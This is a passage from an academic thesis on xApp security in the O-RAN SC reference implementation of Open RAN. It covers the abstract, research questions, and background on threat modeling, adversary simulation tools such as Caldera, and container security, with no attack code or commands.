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Abstract

This thesis examines the security challenges of xApps within the O-RAN Software
Community (O-RAN SC) reference implementation, with a particular focus on the
near-real-time RAN Intelligent Controller (near-RT-RIC) platform. Through threat
modeling and the practical implementation of adversary simulation scenarios, this
thesis provides insights into improving and evaluating the security posture of the
O-RAN SC reference implementation.
The study employs an approach combining theoretical threat modeling with practical
adversarial simulation. Key findings demonstrate weaknesses in the xApp supply
chain and deployment process, including container image security issues, and insuffi-
cient access control mechanisms. The research successfully demonstrates these attack
vectors through the development and deployment of malicious xApps.
The integration with the Caldera platform proved effective for security testing,
enabling orchestration of adversarial activities and generation of realistic Indicator
of Compromise (IoC). The analysis identified gaps in the O-RAN SC reference
implementation when evaluated against O-RAN ALLIANCE (O-RAN) Alliance
security recommendations, particularly in xApp isolation mechanisms and access
control implementation.
These findings underscore the critical importance of implementing robust security
controls throughout the xApp development and deployment lifecycle. The research
provides a foundation for improving security in the O-RAN ecosystem, by employing
a threat-driven approach to xApp security.
Keywords: Open RAN, xApp Security, Adversarial Simulation, near-RT-RIC,
Container Security
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Kurzfassung

In dieser Arbeit werden die Sicherheitsherausforderungen von xApps innerhalb der
O-RAN SC Referenzimplementierung untersucht, mit einem besonderen Fokus auf die
near-RT-RIC Plattform. Mithilfe von Threat Modeling und praktischer Implemen-
tierung von Adversary Simulation Szenarien bietet sie Einblicke in die Verbesserung
und Bewertung der Sicherheitslage der O-RAN SC Referenzimplementierung.
Die Arbeit kombiniert einen theoretischen Ansatz des Threat Modelings mit praktis-
chen Adversary-Simulationen. Die wichtigsten Erkenntnisse zeigen Schwachstellen in
der xApp-Supply-Chain und im Deploymentprozess auf, sowie Sicherheitsprobleme
bei Container-Images und unzureichende Zugriffskontrollmechanismen. Diese The-
sis demonstriert diese Angriffsvektoren durch die Entwicklung und Bereitstellung
maliziöser xApps.
Die Integration mit der Caldera-Plattform erwies sich als effektiv für Sicherheitstests
und ermöglichte die Orchestrierung von Angriffsaktivitäten und der Generierung
realistischer IoCs. Die Analyse identifizierte Lücken in der Umsetzung der Sicherheit-
sempfehlungen der O-RAN Alliance in der O-RAN SC Referenzimplementierung.
Insbesondere wurden Schwachstellen bei den xApp-Isolationsmechanismen und der
Implementierung von Zugriffskontrollen festgestellt. Diese Erkenntnisse unterstre-
ichen die kritische Bedeutung der Implementierung robuster Sicherheitskontrollen
während des gesamten xApp-Entwicklungs- und Deployments-Lebenszyklus. Die Ar-
beit bietet eine Grundlage für die Verbesserung der Sicherheit im O-RAN-Ökosystem
durch den threat-driven Ansatz zur xApp-Sicherheit.
Schlüsselwörter: Open RAN, xApp-Sicherheit, Adversary Simulation, near-RT-
RIC, Container-Sicherheit
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1 Introduction

The Open RAN initiative is a novel endeavor to create a more flexible and open
architecture within modern cellular networks. The main drivers for this initiative
are to increase competition and innovation within contemporary mobile networks
and foster a thriving multi-vendor ecosystem. This leads to an extensible and open
architecture, however, in turn increases the potential for adversarial activities, due
to the enlarged attack surface. Therefore, in order to improve the security posture
of implementations based on the O-RAN ALLIANCE (O-RAN) specifications [1], it
is crucial to identify and evaluate new potential threat vectors introduced by this
architecture.

1.1 Motivation and Objective
This thesis aims to identify and evaluate both theoretically and practically potential
attack vectors introduced by the O-RAN architecture , specifically focusing on
attack vectors introduced through the modular extensibility of the near-RT-RIC, via
its xApp framework. This work stems from the research project “IT-Forensics in
Open RAN (FORAN)” [2], conducted at the Cologne University of Applied Sciences
[3] in collaboration with the IT-Forensics company PROCYDE GmbH based in
Breitscheidt, Germany [4]. The main objective of this research project was to develop
the means for handling security incidents in the context of Open RAN deployments,
using the reference implementation of the O-RAN SC [5]. This involved the analysis
of the threat landscape of Open RAN deployments, including the development of
means for analyzing and detecting specific indicators of compromise. Furthermore,
an attack simulation component was developed, which is of utmost importance to
practically evaluate incidents in this context and effectively detect attack traces and
their origin.
The project is funded by the German Federal Office for Information Security (BSI)
[6] and divided in to two sub-projects:

• FORAN-ATTACK: The sub-project FORAN-ATTACK aims to build a frame-
work for simulating adversarial activities, and thereby generate indicators
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1 Introduction

of compromise within the target infrastructure of the O-RAN SC reference
deployment. The developed framework incorporates open-source tools and
common pentesting methodologies that are adapted to meet the requirements
of the project.

• FORAN-DFIR: This sub-project aims to develop the means for analyzing and
handling security incidents in the context of Open RAN deployments. This
includes the analysis of attack traces using well-established frameworks from
the field of digital forensics and incident response (DFIR) and tailoring them
to the specific requirements of the Open RAN environment.

1.2 Scope
The scope of this thesis is limited to the adversarial simulation domain of the
FORAN-ATTACK sub-project. Hence, the focus lies on potential threats stemming
from xApps, and thereby on the development and integration of malicious xApps
in the near-RT-RIC. The WG11 of the O-RAN alliance has identified key security
concerns regarding xApps, some of which are out of the scope for this thesis. These
key issues beyond the scope of this thesis include, but are not limited to, Machine
Learning (ML) based attacks, as well as any type of interaction with O-RAN E2
nodes and interaction with the O-RAN Y1 monitoring-interface of the near-RT-RIC.
Furthermore, attacks related to resource exhaustion or Denial of Service (DoS) are
not addressed in this thesis.

1.3 Problem Statement
This thesis conducts an analysis of the security posture of the Open RAN reference
implementation by the O-RAN SC, specifically the near-RT-RIC component and the
threats stemming from xApps. The goal is to determine the potential attack vectors
and to evaluate their feasibility and applicability, in regard to generating plausible
and meaningful indicators of compromise. Given the scope and context of this thesis
in the research project FORAN, adversary simulation provides the framework for
the methodical approach and orchestration of adversarial activities derived from the
examined threat landscape.
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1.4 Outline

1.3.1 Research Questions

The primary research questions guiding the progression of this thesis are as follows:

1. What are the potential attack vectors stemming from xApps in the context of
the Open RAN reference implementation?

2. How can we practically simulate and evaluate the execution of these attack
vectors?

3. How can we orchestrate adversarial activities in a way, that generates plausible
indicators of compromise?

The first primary question is answered in Chapter 4, the second primary question is
answered in Chapter 5 and Chapter 6 and the third primary question is answered in
Chapter 6 and Chapter 7.
Based on these research questions the following sub-questions are derived:

1. How can we develop and deploy xApps within the near-RT-RIC environment?
2. How can we automate and orchestrate the execution of adversarial activities in

the near-RT-RIC environment?

The first sub-question is answered in Chapter 5, the second sub-question is answered
in Chapter 6.

1.4 Outline
The following chapters are structured as follows:

• Chapter 2: Provides a comprehensive overview of Open RAN, threat modeling,
adversary simulation, Kubernetes and container security, and related research.

• Chapter 3: Details the architecture and internals of the O-RAN SC reference
implementation, focusing on the near-RT-RIC and xApps.

• Chapter 4: Presents the threat model, including threat actors, frameworks and
attack vectors.

• Chapter 5: Covers the development and implementation aspects, including
guidelines, tooling, xApp frameworks, infrastructure setup, design, implemen-
tation, and deployment.

• Chapter 6: Describes the attack scenarios, their development methodology,
justification, execution, and evaluation.

• Chapter 7: Discusses the assessment of objectives, limitations, practical impli-
cations, and future work.

• Chapter 8: Summarizes the findings and provides closing remarks.
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2 Technical Background

The following chapter provides a comprehensive overview of the technical background
crucial to this thesis. This exploration includes the coverage of standardization
efforts, methodologies required for the analysis of the Open RAN threat landscape
and concepts for simulating adversarial activity to enhance defensive capabilities.
Additionally, key technologies involved in the operation and orchestration of modern
micro-service architectures are discussed and research related to this field is presented.

2.1 Open RAN
The traditional approach of deploying and operating the RAN has been contested
through the Open RAN initiative. Operating proprietary RAN components using
closed-source software, creates dependencies on single vendors and prevents innovation
and competition. The adoption of new technologies and particularly the response
to security flaws, is the responsibility of the vendor selling and maintaining the
closed-source software-base and hardware schematics. Furthermore, optimizing and
reacting to real-time changes in the RAN environment, is complex to implement
when having to operate black-box components. These limitations drove the research
and development of the Open RAN initiative, allowing Mobile Network Operators
(MNOs) to deploy and operate more flexible, interoperable, vendor-agnostic RAN
architectures, with fewer limitations and dependencies on a handful of vendors. The
evolution from the traditional RAN architecture to the Open RAN architecture is
shown in 2.1 below.

Figure 2.1: Evolution of the RAN architecture from a traditional to an Open RAN
architecture. [7]
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2.1 Open RAN

The Open RAN initiative is a quest to create a more flexible, interoperable and
vendor-agnostic RAN architecture. This is achieved through the disaggregation of
traditional RAN components, and introducing new standardized and well-defined
interfaces for the logical RAN components. This opens up the RAN to a multi-
vendor ecosystem, and thereby increases the drivers for innovation and competition.
Moreover, the drive for virtualization and cloudification of mobile networks enables
the scaling of infrastructure more flexibly and cost-effectively and leads to the
promotion and adoption of Commercial Off-The-Shelf (COTS) hardware [7].

2.1.1 O-RAN Alliance

The embodiment of the Open RAN initiative has been achieved through two main
organizations and standardization bodies.

• The O-RAN alliance [8] constitutes a global non-profit organization comprising
numerous telecommunication companies, academic and research institutions
as well as software and hardware vendors from the telecommunications sector.
They are responsible for producing and evolving the O-RAN specifications
and standards, that consolidate the O-RAN architecture used today. These
specifications are updated and maintained by a dozen of working groups, each
specializing in different aspects of the RAN architecture and technologies
required to realize an open and flexible RAN. The defined standards form the
foundation that all current and future O-RAN implementations are based upon.
Moreover, a subgroup of the O-RAN alliance, the O-RAN software community
(O-RAN SC) [5], develops an O-RAN compliant reference implementation
based on the discussed specifications.

• The Telecom Infra Project (TIP) [9] fulfills the role of a vendor-neutral entity,
driving innovation and industry collaboration, to support and increase adop-
tion of Open RAN. Furthermore, the TIP is also an active part in testing and
verifying Open RAN implementations by conducting field- and commercial
trials. This eases the adoption of Open RAN by MNOs, by certifying opera-
tional readiness and interoperability of O-RAN implementations, making the
transition to Open RAN more seamless [10].

O-RAN SC

The O-RAN software community (O-RAN SC) [11] is a subgroup of the O-RAN
alliance, and responsible for the development of an O-RAN compliant reference im-
plementation. The reference implementation is developed in an open-source manner,
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2 Technical Background

using a containerized micro-service architecture orchestrated with Kubernetes. The
reference implementation is actively maintained with bi-annual releases to evolve and
adapt in the early phase of adoption. The aim of the the O-RAN software community
is to produce a solution suitable for industrial adoption. However, may also serve as
a basis for adaption and customization to meet the specific needs of MNOs.

2.2 Threat Modeling
This section provides an overview of the threat modelling concepts, methodologies
and principles required for the examination of the O-RAN threat landscape. Threat
modeling is of utmost importance in the context of this thesis, as the evaluation
of the threat exposure of the O-RAN architecture and composition of the threat
landscape, is crucial to identify and prioritize attack vectors appropriately. Moreover,
the identified threats and attack vectors serve as the foundation for developing the
adversarial simulation framework.
The process of threat modeling serves the purpose of enhancing the resiliency and
security posture of the protected system, encompassing all assets and components
that belong to it. The dynamic and constantly evolving threat landscape, requires
a continuous re-evaluation and re-assessment of the threats posed to the system.
This allows an organization to effectively allocate resources to the most critical
assets and mitigation of the most harmful threats. Threat modeling aligns with the
threat-driven approach to security, which is a proactive strategy to security, compared
to the reactive approach of vulnerability- and patch management that is often part of
compliance and certification requirements. Achieving compliance benchmarks does
not guarantee that all threats have been identified and appropriately assessed. On
the contrary, threat modeling actively engages with the system’s design, architecture,
implementation and deployment, in order to identify and prioritize the most relevant
threats before they can be exploited, instead of reacting in a post-incident scenario
[12].

2.2.1 Methodology

Threat modeling is a systematic process that identifies, assesses, prioritizes and
addresses threats to a system. The process is cyclic and iterative, where the threat
model is improved and refined based on the outcomes of the preceding cycle. The
earlier the process is integrated into the lifecycle of the system, the more effective
the process becomes. Threat modeling enhances visibility of the threat landscape
and allows to implement the appropriate mitigations, depending on the available
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2.2 Threat Modeling

resources and criticality of an asset that is part of the system. Hence, lower level
threats can be ignored, and the attention is shifted to the most vital assets. This
maximizes the effectiveness of the implemented mitigations and optimizes resources
utilization, leading to an improved security posture and overall resiliency.
The high-level process is outlined in more detail in the following section. Threat
modeling must be tailored to the specific context and requirements of the examined
system. Furthermore, there exist varying objectives and goals that necessitate the
creation of the model in the first place. Therefore, the context and objectives of the
threat modeling process must be well defined and aligned with the core purpose of
why the threat model is essential.

High-Level Process

1. Objective: The introductory step involves defining the purpose and area of
application of the threat model. This includes the definition of how the threat
model will be integrated into the development and operation processes, and
the expected benefits it will yield in the defined domain of application.

2. Scope and Identification of Assets: The second phase entails the definition
of the scope of the threat model and the identification of all relevant assets.
This covers the definition of the system’s boundaries, as well as specifying the
level of depth required to model the system. The term assets represents all
the components that make up, interact or are processed by the system. Assets
are the entities critical to the system’s functioning and operation, therefore
it is essential to identify and prioritize them. In order to adequately identify
relevant assets, system modeling is used to represent the system’s composition
and internal structures. In system modeling, a graphical representation of the
system is developed, that represents the system’s architecture, including all the
components, data flows, data stores and interaction with internal and external
systems. A widely adopted approach to system modeling is the use of DFDs.
At last, this stage outlines the relevant stakeholders that are involved in the
threat modeling process.

3. Identify and Assess Threats: The third step of the process involves deter-
mining the exposure to potential threats to the system. The objective is to
determine as many threats as possible, especially ones that pose a high risk
to the system’s confidentiality, integrity and availability. At first, potential
threat actors are defined, these actors are classified according their varying
level of expertise, sophistication and capabilities, as well as motivation for
conducting attacks. Furthermore, since both internal and external threat actors
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must be taken into account, specifying their degree of access to the system is
crucial. Thereafter, potential threats are identified and classified according to
a threat modeling framework such as STRIDE, that is examined in 4. The
classification and prioritization of threats is important in order to assess the
risk and potential impact of threats appropriately. Following the identification
and categorization of individual threats, a tactical approach can be utilized
to represent more complex attack scenarios by chaining threats, using models
such as the Cyber Kill Chain (CKC). These attack scenarios can be formally
represented using attack trees.

4. Develop and Implement Mitigation Strategies: Following the detailed
identification and assessment of threats, the next step is to develop the appro-
priate mitigation strategies to counteract the identified threats. These entail
standard risk handling strategies such as risk acceptance, risk avoidance, risk
transfer and risk mitigation. The mitigation strategies are selected based on
several factors, two of which are impact and likelihood of the threat occurring.
There exist various threat model frameworks that cover different factors used
to assess the severity of threats.

5. Monitor, Review and Iterate: The last stage of the threat modeling process
is to monitor the target system for changes or attacks targeting the system and
then review and refine the implemented threat model accordingly. Due to the
ever-evolving threat landscape in a product that is actively being developed,
maintained and deployed in production, new threats are introduced and may
have not yet been identified. This is due to the high complexity of large
software-based systems. Furthermore, as the system evolves, updating the
system’s models and documentation to reflect these changes is crucial, in order
to be able to represent these changes in the threat model [13].

2.2.2 Threat Frameworks and Knowledge Bases

The following section provides an overview of the key threat frameworks used in the
context of this thesis. Identifying and prioritizing threats is a crucial step in the
threat modeling process. By utilizing threat frameworks, the context of a threat can
be enhanced, aiding in the understanding of the threat and its potential impact.

2.2.3 MITRE ATT&CK

The MITRE, a U.S. government-funded non-profit organization, is a diverse research
and development organization. One main area of focus is the cybersecurity domain,
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where it upholds several cybersecurity initiatives, including the prominent CVE
database and the Adversarial Tactics, Techniques, and Common Knowledge (MITRE
ATT&CK) framework [14] [15]. These frameworks contribute vital public knowledge
that enable cooperations and institutions all over the world to maintain and improve
their security posture. The MITRE ATT&CK framework serves as a comprehensive
knowledge base of adversarial tactics, techniques and proceduress (TTPs), derived
from real-world threat intelligence, security research, and historical breach data [16].
The MITRE ATT&CK framework is structured into several matrices, each with the
following components:

• Tactics: Represent the strategic objectives adversaries employ to achieve their
goals.

• Techniques: Describe the specific implementations of an action to accomplish
a tactical objective.

• Sub-techniques: Present alternative approaches of implementing a particular
attack technique, using a similar yet distinct method.

The matrix format, with tactics as columns and techniques/sub-techniques as rows,
allows for a meticulous threat analysis and threat modeling. MITRE ATT&CK
provides distinct matrices for differing industries and technologies, which are especially
valuable for the threat modeling process.

2.2.4 CVE

The CVE framework is an initiative maintained by the MITRE and other partners to
consistently identify, describe and classify vulnerabilities. The catalog of vulnerabili-
ties is open to the public and provides organizations with a standardized approach
for addressing and processing vulnerabilities that affect their software and hardware
ecosystem [14].

2.2.5 Common Vulnerability Scoring System (CVSS)

The Common Vulnerability Scoring System (CVSS) framework is an open and
standardized method for assessing the severity of vulnerabilities. The method aids in
the process of prioritizing and implementing appropriate risk management strategies,
upon the identification and exposure to a particular CVE, and thereby maximizes
the efficiency of resources utilized to mitigate the impact. The severity is assessed
according to several metrics that are scored between zero and ten. The metrics
capture the technical characteristics of the vulnerability, allow for adjustment of the
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base score through environmental metrics, and reflect the impact of the exploitation
of the vulnerability on the target system. The framework is maintained by Forum of
Incident Response and Security Teams (FIRST), with the latest release being CVSS
v4.0 [17].

2.2.6 Cyber- and Unified Kill Chain

The term "kill chain" originates from the military context and has been adopted in
the cybersecurity domain to model the steps of a cyber attack. Lockheed Martin
released the CKC to describe the stages of a cyber attack from Reconnaissance to
Actions on Objectives, as depicted in 2.2. Despite the fact that cyber attacks typically
do not progress according to the defined stages in a strictly linear path, the CKC
provides structured guidance for understanding adversarial behavior, including the
current tactic and objective a malicious entity could pursue. By identifying IoCs at
each stage of the CKC, organizations can generate traces for detection validation and
improve their incident response capabilities through adversary simulation [18], [19].

Figure 2.2: The Cyber Kill Chain model illustrating the seven stages of a cyber attack
[20]

The CKC model uses seven stages to describe the progression of cyber attacks. To
improve upon some of the shortcomings of the original model, specifically in terms
of modeling post-exploitation activities in a greater detail, the CKC was adapted by
Dutch security expert Paul Pols to create the Unified Kill Chain (UKC). The UKC
includes a total of 18 attack stages, addressing more attack vectors and attack paths
that occur after the initial exploitation phase. This is critical for detection engineering
and verifying detection capabilities, as activities outside the organization’s perimeters
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are challenging to monitor and gain visibility into [21]. Furthermore, the UKC is
more suitable for modeling adversarial activities, and will therefore be used in the
context of this thesis. The phases of the UKC model are depicted in Figure 2.3
below.

Figure 2.3: The Unified Kill Chain model with 18 stages of cyber attacks [21]

2.2.7 Pyramid of Pain

The Pyramid of Pain model classifies IoCs based on their effectiveness at deterring
adversaries and the complexity of implementing corresponding detection capabilities
for these indicators[22]. The bottom layer represents the most straightforward
indicators to detect, namely hashes. These indicators are easy to detect, however
adversaries can readily modify them to evade detection mechanisms, as changing a
single bit in the underlying IoC results in a different hash, nullifying the implemented
defense. The top layer represents TTPs, the most complex indicator to detect,
however also the most difficult to revise for adversaries. Implementing detection
capabilities for higher-level indicators becomes increasingly complex, due to the
diverse and feature-rich tooling and flexible methodologies adversaries employ. In
order to fully detect the TTPs of an adversary, visibility into all of the attack patterns,
tooling and obfuscated means of communication must be in place. The Pyramid of
Pain is depicted in Figure 2.4.
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Figure 2.4: The Pyramid of Pain model illustrating the effectiveness of IoCs in defending
against adversaries [23]

2.3 Adversary Simulation
The following section provides an overview of the practice of adversary simulation,
including it’s purpose, methodologies and tools. The term adversary simulation
describes the reenactment of malicious activities in a controlled environment, for
the purpose of evaluating and verifying defensive capabilities and testing the fea-
sibility of specific attack scenarios. Adversary simulation is central to this thesis,
since the execution and evaluation of attack scenarios within the O-RAN reference
implementation by the O-RAN SC constitute the main focus of this work. In order
to conduct adversary simulations, the threat landscape of the target environment
must be well studied and understood. This includes the identification of potential
weaknesses and vulnerabilities in the form of attack vectors and how these can be
implemented for execution given the setting of the target environment. These attack
vectors can then be exploited in a controlled fashion, either singularly or by chaining
attack vectors to simulate an entire attack scenario. The entire process may be
automated to conduct regular and reoccurring security tests, that aid in continuously
evaluating the security posture. Furthermore, adversary simulation tests may be
integrated into a CI/CD pipeline, to establish security gates and ensure security
requirements are met as the system evolves and undergoes changes. A more advanced
form of adversary simulation includes the reenactment and emulation of real-world
adversaries, based on threat intelligence and forensic analysis of past breaches and
incidents, monitoring logs of the production environment and knowledge bases, such
as MITRE ATT&CK. Adversary emulation requires information on the adversary’s
capabilities, motivations, objectives and mode of operation, in terms of the TTPs
they employ. This allows for the replication of the identical or similar artifacts and
IoCs, that indicate the presence of that adversary in the target environment [24].
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Due to the lack of publicly available data on adversarial behavior targeting O-RAN
implementations, the focus of this thesis is on adversary simulation, which is does
not require authentic real-world threat intelligence. The simulation of adversarial
behavior is limited by the understanding and depth of the threat model, which
models the threat landscape of the target environment. The more detailed and
accurate the threat model, the more realistic and effective the adversary simulation
becomes. This is crucial, especially in terms of tuning the defensive apparatus that
protects the system. Hence, the threat model forms the foundation of the adversary
simulation. The simulation of isolated singular attack vectors, known as atomic
testing, is not sufficient to simulate key attacker behavior, however allows for a high
degree of automation and straightforward validation of security controls. Atomic
tests only represent a single step in the kill chain, while adversary simulations allow
for the simulation of entire kill chains, known as attack scenarios. Simulating entire
attack scenarios from reconnaissance to impact and objectives, is not required to
represent key behaviors of a potential adversary. Furthermore, the simulation of
impact techniques may entail destructive actions, or exfiltration of data, that is not
present in the simulated environment. Consequently, micro-simulations are developed
in the course of this thesis, as it allows for the simulation of key behaviors of a
potential adversary, without having to replicate the intricacies of an entire attack
scenario. Thereby, this is a lightweight form of adversary simulation, that is feasible
to implement in the scope of this thesis and suitable for automation, to ensure
consistent and reproducible results. Nevertheless, the micro-simulations are designed
to be representative of the key behaviors of a potential adversary and incorporate
the core techniques and tooling employed by the simulated adversary. Another
prominent practice is the application of pentesting. However, this practice differs in
it’s methodology and objectives, as it focuses on the identification and exploitation
of vulnerabilities for the purpose of demonstrating the exploitability of a system.
In contrast, adversary simulation focuses on the simulation of adversarial behavior,
in order to evaluate the effectiveness of defensive security controls. Furthermore,
pentesting is often a manual and less regular process, that is conducted to meet
compliance goals and regulatory requirements [25].

2.3.1 Security Teams

The practice of adversary simulation typically involves specialized security teams,
each with distinct roles and responsibilities. Each team has its unique focus, expertise
and responsibilities, which are outlined below.
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• Red Team: The red team is responsible for offensive operations, such as
pentesting and adversary simulations. Their primary objective is to identify
vulnerabilities and test the effectiveness of defensive measures by simulating
attackers.

• Blue Team: The blue team is in charge of defensive operations and maintaining
the security posture of the organization and its assets. Their focus is on
monitoring, detection, forensics and incident response to handle and resolve
security breaches and attempts thereof.

• Purple Team: The purple team holds knowledge in both the red- and blue
team domain and oversees the coordination and knowledge transfer between
the red and blue teams. This team is staffed with both red and blue team
operators, facilitating collaboration and innovation in regards to security testing
and improving security measures.

The interplay and collaboration between these teams, allows for continuous evaluation
and improvement of the organization’s security posture. The red team aids the blue
team in practicing and improving their defensive capabilities, while the purple team
coordinates and sets the scope and structure of the security tests. Moreover, the
purple team facilitates the knowledge transfer between the red- and blue team. The
aim is to ensure that insights, e.g. regarding new threats, are effectively shared
and used to improve each team’s capabilities, with the goal of enhancing the overall
security posture of the organization [26]–[28].

2.3.2 Tooling

There exist a variety of tools and platforms that facilitate the practice of adversary
simulation. This section presents the most significant and commonly used tools that
find application in this domain. Each tool is evaluated in terms of its features and
field of application, and the rationale for the final tool selection for this thesis is
outlined at the end.

Atomic Red Team

Atomic Red Team is an open-source collection of atomic security tests, that are
mapped to the MITRE ATT&CK framework. The tests are available for a variety of
platforms, including Windows, Linux and MacOS. The tests offer a wide range of
techniques from the MITRE ATT&CK framework, and enable the simulation and
coverage of the MITRE ATT&CK framework to test and validate security controls.
The atomic tests can be executed in an automated fashion, and thereby integrated
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into a CI/CD pipeline for continuous security testing. Each test is designed to cover a
single technique from the MITRE ATT&CK framework, and thereby a single attack
step in the kill chain. The tests have three main stages, the prerequisite stage, the
execution stage and the cleanup stage.

Figure 2.5: Atomic Red Team Logo [29]

1. Prerequisite Stage: The required dependencies for the test are installed.
2. Execution Stage: The actual test and associated payload are executed.
3. Cleanup Stage: Any artifacts that were created are removed, or changes

made to the environment are reverted to the original state.

Caldera

Caldera is an adversary emulation platform developed and maintained by MITRE.
It is part of active research and development by the MITRE and built upon the
MITRE ATT&CK framework. The platform facilitates the automation of security
testing, adversary simulations and incident response, also supporting manual red-
and blue team operations.

Figure 2.6: Caldera Logo
[30]

The platform has numerous atomics built in that cover
the tactics and techniques of the MITRE ATT&CK frame-
work. The tests are executed using so-called agents, which
are deployed on target assets. The communication can be
obfuscated, using for example DNS- or ICMP-tunneling,
as well as other techniques such as C2-communication
via GitHub gists. Caldera offers the ability to execute
single atomics or define comprehensive adversary profiles
and simulate complex TTPs, including post-exploitation
activities, such as data exfiltration and lateral movement. The monitoring, reporting
and analytics capabilities are extensive, and enrich and support the ability to derive
insights from the adversary simulations. The feature-rich plugin library, offers further
extensions and customizations to the platform, such as simulating human behavior
or integration of the prominent Metasploit pentesting framework [31] [32].
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OpenBAS

OpenBAS stands for Open Breach and Attack Simulation and is a novel adversary
simulation platform developed and maintained by Filigran. The platform offers a
variety of fields of application, including strategic and technical adversary simulations,
crisis simulations, table-top exercises, training exercises and capture-the-flag events.

Figure 2.7: OpenBAS Logo [33]

The platform operates using agents that are de-
ployed on the target assets, such as Windows,
Linux and MacOS systems. The platform has
a built-in agent, but also offers the integration
of other agents, such as the Caldera agent. The
modular design and extensibility of OpenBAS
allows for the integration of numerous "injectors",
which can simulate and carry out certain types of
attack steps. For example, there exists an injec-
tor for OpenBAS implants, Caldera implants, E-Mail integration, SMS-integration,
HTTP queries and many more. The integration of the Atomic Red Team atom-
ics, Caldera atomics and the MITRE ATT&CK framework, fosters the creation
of versatile and complex attack scenarios, with a great coverage of the MITRE
ATT&CK framework, using a selection of the over 1700 pre-installed atomics in a
single platform. Additionally, the integration of so-called "expectations" allows for
manual and automatic review and validation of an adversarial action. This opens
up the possibility for SIEM/SOAR integrations, through so-called "collectors", that
can collect and aggregate the results of the defensive security platforms. Hence, an
attack step or entire simulation can be marked as detected or prevented, based on the
results of the integrated defensive security platforms. Furthermore, the developers
of OpenBAS are also the developers of OpenCTI, a powerful open-source threat
intelligence platform, which can be readily integrated with OpenBAS. This allows
for the use and integration of real-world threat intelligence into the adversary simu-
lations, and thereby increase the realism of the simulations. Therefore, OpenBAS is
a powerful and versatile adversary simulation platform, that can leverage the power
from the integration of other adversary simulation platforms, threat intelligence
platforms and simulate also complex strategic simulations, involving people, teams
and organizations [33] [34].
The following figure provides an overview of how the described tools and platforms
integrate with each other.
The adversary simulation landscape offers a variety of tools and platforms, each with
their own focus and capabilities. Furthermore, as illustrated in Figure 2.8, the tools
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Figure 2.8: Adversary Simulation Tools Overview

can work together and be integrated together in one platform, to represent the most
comprehensive, meticulous and realistic adversary simulations. The categorization of
the diagram shows, that Atomic Red Team is the simplest and most independent
tool, that can be both integrated into Caldera and OpenBAS. Caldera is a more
complex tool, offering a wide range of features and capabilities, with the clear focus
on technical adversary simulations. OpenBAS takes this a step further, by integrating
Caldera itself, as well as offering versatile strategic simulations, involving people,
teams, media pressure, and the sending of SMS and e-mails. Furthermore, the
direct integration of threat intelligence through OpenCTI, allows the campaigns to
integrate real-world TTPs and IoCs, with the result of these simulations and effect
being automatically evaluated using the SIEM/SOAR integrations and visualized
using reporting functions. The platform chosen for this thesis is Caldera, as the
mere use of pre-defined atomics is not sufficient in a custom environment, such as
the O-RAN reference implementation by the O-RAN SC. The use of OpenBAS is
not required, as the focus is on the technical side of adversary simulations. Caldera
offers the automation and creation of custom atomics that can be integrated into
complex attack scenarios, using advanced agents and covert communication channels.
Furthermore, the mapping and integration of the MITRE ATT&CK framework,
allows for the creation of realistic and comprehensive adversary simulations. The
plugin-library of Caldera further offers the possibility to extend the platform with
feature-rich plugins to support the technical simulations, such as with the integration
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of Metasploit. Thereby the selection offers the optimal foundation for implementing
and executing the proposed adversary simulation campaigns in the context of the
O-RAN reference implementation, while preserving operational applicability.

2.4 Kubernetes and Container Security
Cloudification of telecommunication infrastructure is a trend that is gaining greater
traction and adoption by the telecommunication industry. This adoption of the cloud-
native approach is driven by various factors, including increased flexibility, scalability,
cost-efficiency and operational efficiency in terms of resource utilization. This trend
is also reflected in the O-RAN reference implementation by the O-RAN SC, which is
a containerized micro-service architecture, orchestrated using Kubernetes. However,
this avenue of cloudification and virtualization comes with new security challenges,
especially in regards to the increased attack surface and additional complexity of the
system.
The black-box nature of traditional telecommunication equipment made it a challenge
to study the security of the equipment and attack vectors affecting mobile networks for
external non-vendor entities. The cloud-native approach relies on various hardware
and software components, whose security is well understood, however, if vulnerability
and patch management is not properly enforced, some of these components may be
affected by publicly disclosed vulnerabilities and exploits. These components range
from COTS hardware, to hypervisors, the base operating system, container runtimes,
container orchestrators and the operating system of the containerized application.
This increases the attack surface dramatically, especially if the system is not prop-
erly configured and maintained. Containerization if done correctly, does increase
the isolation between the different functions and services, however, vulnerabilities
affecting the lower layers, such as the hypervisor or container orchestration software,
can lead to the compromise of the entire system. Furthermore, there exist many
software based components, with fast release-cycles and relatively short support
periods, such as the Kubernetes software, with a new release every four months and
support periods of merely 14 months. This makes it a challenge to operate and
maintain systems that are dependent on such components, especially when such
a fundamental building block is affected by a critical vulnerability and a patch or
update may lead to a major disruption or even outage of the entire system. In the
context of such critical infrastructure, it is crucial to maintain a strong security
posture and continuously test the security of the system, especially when there are so
many components that can be wrongly configured or affected by publicly disclosed
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vulnerabilities [35].

2.4.1 Virtualization

Figure 2.9: Virtual Machine vs Container Architecture

The fundamental concept driving the adoption of cloud-native applications, is the
ability to abstract from the underlying hardware through the use of virtualization
and containerization. This hardware abstraction, allows for the granular division
of Central Processing Unit (CPU), Random Access Memory (RAM), storage and
network resources, which can in turn be allocated to the desired Virtual Machines
(VMs) or containers. VMs can leverage a higher degree of isolation, as they emulate
an entire hardware system, host a full operating system, kernel and the required
drivers and libraries. This high degree of isolation comes with significant security
and availability benefits, such as the decreased exposure to the underlying hypervisor
and hardware. Furthermore, the downtime of one VM does not affect the operation
of other VMs on the identical host system. However, since more components need
to be emulated, VMs are more resource intensive, and require higher startup times,
making them less flexible and resource efficient for hosting smaller applications, such
as micro-services, compared to containers. The system responsible for orchestrating
and managing VMs is known as a Virtual Machine Monitor (VMM) that is a type of
hypervisor. Hypervisors allocate, free and reassign the required hardware resources
to the VMs, to ensure the efficient use of the available hardware capacity. Moreover,
it enables the migration of VMs between hosts, manages the VMs’s lifecycle and
safeguards the isolation between the VMs and the underlying hardware. Figure 2.9
illustrates the two main types of hypervisors, namely Type 1 and Type 2 hypervisors.
Type 1 hypervisors operate directly on the hardware, while Type 2 hypervisors, such
as VirtualBox and VMware run as a user-space application on the host operating
system.
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Container Security

The concept of containers is also based on virtualization and hardware abstraction,
however, containers utilize more shared resources and thereby offer a decreased level
of isolation between containers and the host operating system itself. Containerization
allows for the packaging of an application and its dependencies into a singular unit,
known as a container image. This image can then be deployed and easily migrated
or scaled, without having to emulate an entire hardware system and kernel. Thus,
containers share the host operating system and kernel, and make direct system
calls the host’s kernel. This approach increases the attack surface, as vulnerabilities
affecting the kernel may be exploited if not properly configured and lead to a container
escape, which in turn can lead to the compromise of the entire host system. The
system responsible for managing containers is known as the container runtime. There
